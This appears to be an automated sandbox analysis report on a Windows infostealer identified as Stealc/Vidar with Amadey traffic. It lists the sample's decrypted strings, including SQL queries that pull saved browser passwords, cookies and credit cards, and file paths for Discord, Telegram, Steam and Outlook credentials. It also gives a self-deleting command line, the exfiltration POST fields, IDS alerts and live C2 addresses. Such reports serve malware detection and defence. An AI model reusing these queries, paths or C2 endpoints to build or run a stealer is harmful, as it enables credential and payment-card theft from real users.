Source: 5.2.file.exe.230000.0.unpack	String decryptor: RmRegisterResources
Source: 5.2.file.exe.230000.0.unpack	String decryptor: RmGetList
Source: 5.2.file.exe.230000.0.unpack	String decryptor: RmEndSession
Source: 5.2.file.exe.230000.0.unpack	String decryptor: sqlite3_open
Source: 5.2.file.exe.230000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 5.2.file.exe.230000.0.unpack	String decryptor: sqlite3_step
Source: 5.2.file.exe.230000.0.unpack	String decryptor: sqlite3_column_text
Source: 5.2.file.exe.230000.0.unpack	String decryptor: sqlite3_finalize
Source: 5.2.file.exe.230000.0.unpack	String decryptor: sqlite3_close
Source: 5.2.file.exe.230000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 5.2.file.exe.230000.0.unpack	String decryptor: sqlite3_column_blob
Source: 5.2.file.exe.230000.0.unpack	String decryptor: encrypted_key
Source: 5.2.file.exe.230000.0.unpack	String decryptor: PATH
Source: 5.2.file.exe.230000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: NSS_Init
Source: 5.2.file.exe.230000.0.unpack	String decryptor: NSS_Shutdown
Source: 5.2.file.exe.230000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 5.2.file.exe.230000.0.unpack	String decryptor: PK11_FreeSlot
Source: 5.2.file.exe.230000.0.unpack	String decryptor: PK11_Authenticate
Source: 5.2.file.exe.230000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 5.2.file.exe.230000.0.unpack	String decryptor: C:\ProgramData\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 5.2.file.exe.230000.0.unpack	String decryptor: browser:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: profile:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: url:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: login:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: password:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Opera
Source: 5.2.file.exe.230000.0.unpack	String decryptor: OperaGX
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Network
Source: 5.2.file.exe.230000.0.unpack	String decryptor: cookies
Source: 5.2.file.exe.230000.0.unpack	String decryptor: .txt
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 5.2.file.exe.230000.0.unpack	String decryptor: TRUE
Source: 5.2.file.exe.230000.0.unpack	String decryptor: FALSE
Source: 5.2.file.exe.230000.0.unpack	String decryptor: autofill
Source: 5.2.file.exe.230000.0.unpack	String decryptor: history
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 5.2.file.exe.230000.0.unpack	String decryptor: cc
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 5.2.file.exe.230000.0.unpack	String decryptor: name:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: month:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: year:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: card:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Cookies
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Login Data
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Web Data
Source: 5.2.file.exe.230000.0.unpack	String decryptor: History
Source: 5.2.file.exe.230000.0.unpack	String decryptor: logins.json
Source: 5.2.file.exe.230000.0.unpack	String decryptor: formSubmitURL
Source: 5.2.file.exe.230000.0.unpack	String decryptor: usernameField
Source: 5.2.file.exe.230000.0.unpack	String decryptor: encryptedUsername
Source: 5.2.file.exe.230000.0.unpack	String decryptor: encryptedPassword
Source: 5.2.file.exe.230000.0.unpack	String decryptor: guid
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 5.2.file.exe.230000.0.unpack	String decryptor: cookies.sqlite
Source: 5.2.file.exe.230000.0.unpack	String decryptor: formhistory.sqlite
Source: 5.2.file.exe.230000.0.unpack	String decryptor: places.sqlite
Source: 5.2.file.exe.230000.0.unpack	String decryptor: plugins
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Local Extension Settings
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Sync Extension Settings
Source: 5.2.file.exe.230000.0.unpack	String decryptor: IndexedDB
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Opera Stable
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Opera GX Stable
Source: 5.2.file.exe.230000.0.unpack	String decryptor: CURRENT
Source: 5.2.file.exe.230000.0.unpack	String decryptor: chrome-extension_
Source: 5.2.file.exe.230000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Local State
Source: 5.2.file.exe.230000.0.unpack	String decryptor: profiles.ini
Source: 5.2.file.exe.230000.0.unpack	String decryptor: chrome
Source: 5.2.file.exe.230000.0.unpack	String decryptor: opera
Source: 5.2.file.exe.230000.0.unpack	String decryptor: firefox
Source: 5.2.file.exe.230000.0.unpack	String decryptor: wallets
Source: 5.2.file.exe.230000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 5.2.file.exe.230000.0.unpack	String decryptor: ProductName
Source: 5.2.file.exe.230000.0.unpack	String decryptor: x32
Source: 5.2.file.exe.230000.0.unpack	String decryptor: x64
Source: 5.2.file.exe.230000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 5.2.file.exe.230000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 5.2.file.exe.230000.0.unpack	String decryptor: DisplayName
Source: 5.2.file.exe.230000.0.unpack	String decryptor: DisplayVersion
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Network Info:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - IP: IP?
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - Country: ISO?
Source: 5.2.file.exe.230000.0.unpack	String decryptor: System Summary:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - HWID:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - OS:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - Architecture:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - UserName:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - Computer Name:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - Local Time:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - UTC:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - Language:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - Keyboards:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - Laptop:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - Running Path:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - CPU:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - Threads:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - Cores:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - RAM:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - Display Resolution:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: - GPU:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: User Agents:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Installed Apps:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: All Users:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Current User:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Process List:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: system_info.txt
Source: 5.2.file.exe.230000.0.unpack	String decryptor: freebl3.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: mozglue.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: msvcp140.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: nss3.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: softokn3.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: vcruntime140.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: \Temp\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: .exe
Source: 5.2.file.exe.230000.0.unpack	String decryptor: runas
Source: 5.2.file.exe.230000.0.unpack	String decryptor: open
Source: 5.2.file.exe.230000.0.unpack	String decryptor: /c start
Source: 5.2.file.exe.230000.0.unpack	String decryptor: %DESKTOP%
Source: 5.2.file.exe.230000.0.unpack	String decryptor: %APPDATA%
Source: 5.2.file.exe.230000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 5.2.file.exe.230000.0.unpack	String decryptor: %USERPROFILE%
Source: 5.2.file.exe.230000.0.unpack	String decryptor: %DOCUMENTS%
Source: 5.2.file.exe.230000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 5.2.file.exe.230000.0.unpack	String decryptor: %RECENT%
Source: 5.2.file.exe.230000.0.unpack	String decryptor: *.lnk
Source: 5.2.file.exe.230000.0.unpack	String decryptor: files
Source: 5.2.file.exe.230000.0.unpack	String decryptor: \discord\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 5.2.file.exe.230000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 5.2.file.exe.230000.0.unpack	String decryptor: \Telegram Desktop\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: key_datas
Source: 5.2.file.exe.230000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 5.2.file.exe.230000.0.unpack	String decryptor: map*
Source: 5.2.file.exe.230000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 5.2.file.exe.230000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 5.2.file.exe.230000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Telegram
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Tox
Source: 5.2.file.exe.230000.0.unpack	String decryptor: *.tox
Source: 5.2.file.exe.230000.0.unpack	String decryptor: *.ini
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Password
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: 00000001
Source: 5.2.file.exe.230000.0.unpack	String decryptor: 00000002
Source: 5.2.file.exe.230000.0.unpack	String decryptor: 00000003
Source: 5.2.file.exe.230000.0.unpack	String decryptor: 00000004
Source: 5.2.file.exe.230000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Pidgin
Source: 5.2.file.exe.230000.0.unpack	String decryptor: \.purple\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: accounts.xml
Source: 5.2.file.exe.230000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 5.2.file.exe.230000.0.unpack	String decryptor: token:
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Software\Valve\Steam
Source: 5.2.file.exe.230000.0.unpack	String decryptor: SteamPath
Source: 5.2.file.exe.230000.0.unpack	String decryptor: \config\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: ssfn*
Source: 5.2.file.exe.230000.0.unpack	String decryptor: config.vdf
Source: 5.2.file.exe.230000.0.unpack	String decryptor: DialogConfig.vdf
Source: 5.2.file.exe.230000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 5.2.file.exe.230000.0.unpack	String decryptor: libraryfolders.vdf
Source: 5.2.file.exe.230000.0.unpack	String decryptor: loginusers.vdf
Source: 5.2.file.exe.230000.0.unpack	String decryptor: \Steam\
Source: 5.2.file.exe.230000.0.unpack	String decryptor: sqlite3.dll
Source: 5.2.file.exe.230000.0.unpack	String decryptor: done
Source: 5.2.file.exe.230000.0.unpack	String decryptor: soft
Source: 5.2.file.exe.230000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 5.2.file.exe.230000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 5.2.file.exe.230000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 5.2.file.exe.230000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 5.2.file.exe.230000.0.unpack	String decryptor: https
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 5.2.file.exe.230000.0.unpack	String decryptor: POST
Source: 5.2.file.exe.230000.0.unpack	String decryptor: HTTP/1.1
Source: 5.2.file.exe.230000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 5.2.file.exe.230000.0.unpack	String decryptor: hwid
Source: 5.2.file.exe.230000.0.unpack	String decryptor: build
Source: 5.2.file.exe.230000.0.unpack	String decryptor: token
Source: 5.2.file.exe.230000.0.unpack	String decryptor: file_name
Source: 5.2.file.exe.230000.0.unpack	String decryptor: file
Source: 5.2.file.exe.230000.0.unpack	String decryptor: message
Source: 5.2.file.exe.230000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 5.2.file.exe.230000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE9A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	5_2_6CE9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE944C0 PK11_PubEncrypt,	5_2_6CE944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE94440 PK11_PrivDecrypt,	5_2_6CE94440
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE64420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	5_2_6CE64420
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEE25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	5_2_6CEE25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE7E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	5_2_6CE7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE78670 PK11_ExportEncryptedPrivKeyInfo,	5_2_6CE78670
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE9A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	5_2_6CE9A650
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEBA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	5_2_6CEBA730
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEC0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	5_2_6CEC0180
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE943B0 PK11_PubEncryptPKCS1,PR_SetError,	5_2_6CE943B0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEB7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	5_2_6CEB7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE77D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	5_2_6CE77D60
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEBBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	5_2_6CEBBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEB9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	5_2_6CEB9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE93FF0 PK11_PrivDecryptPKCS1,	5_2_6CE93FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE99840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	5_2_6CE99840
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE93850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	5_2_6CE93850
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CEBDA40 SEC_PKCS7ContentIsEncrypted,	5_2_6CEBDA40
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_6CE93560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	5_2_6CE93560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49885 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000005.00000002.1932124200.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.5.dr, freebl3[1].dll.5.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.5.dr, freebl3[1].dll.5.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.5.dr, softokn3[1].dll.5.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.5.dr, vcruntime140.dll.5.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.5.dr, msvcp140[1].dll.5.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000005.00000002.1932124200.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.5.dr, softokn3[1].dll.5.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49701
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49701
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49989 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 21:08:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 